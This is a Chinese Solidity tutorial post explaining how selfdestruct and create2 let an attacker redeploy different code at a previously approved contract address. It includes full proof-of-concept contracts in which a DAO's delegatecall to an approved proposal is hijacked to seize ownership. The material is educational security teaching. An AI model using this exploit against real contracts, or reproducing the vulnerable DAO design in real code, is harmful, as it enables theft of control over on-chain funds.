3分钟Solidity: 11.15 在同一地址部署不同的合约

15 阅读1分钟

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的“在同一地址部署不同合约(代码示例)”

使用 create部署的合约地址按以下方式计算:

合约地址 = sha3(rlp_encode(sender, nonce)) 的最后20字节

其中 sender是部署者的地址,nonce是 sender发送的交易数量。

因此,如果我们能以某种方式重置 nonce,就可以在同一个地址部署不同的合约。

以下是DAO可能被黑客攻击的一个例子。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Alice 调用
0. 部署 DAO

攻击者调用
1. 部署 DeployerDeployer
2. 调用 DeployerDeployer.deploy()
3. 调用 Deployer.deployProposal()

Alice 调用
4. 获得DAO对提案的批准

攻击者调用
5. 删除提案和部署者
6. 重新部署 Deployer
7. 调用 Deployer.deployAttack()
8. 调用 DAO.execute
9. 检查 DAO.owner 是否为攻击者的地址

DAO -- approved --> Proposal
DeployerDeployer -- create2 --> Deployer -- create --> Proposal
DeployerDeployer -- create2 --> Deployer -- create --> Attack
*/

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner = msg.sender;
    Proposal[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");

        proposals.push(
            Proposal({target: target, approved: true, executed: false})
        );
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");

        proposal.executed = true;

        (bool ok,) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("Executed code approved by DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("Executed code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
}

contract DeployerDeployer {
    event Log(address addr);

    function deploy() external {
        bytes32 salt = keccak256(abi.encode(uint256(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}

contract Deployer {
    event Log(address addr);

    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }

    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }

    function kill() external {
        selfdestruct(payable(address(0)));
    }
}

Try on Remix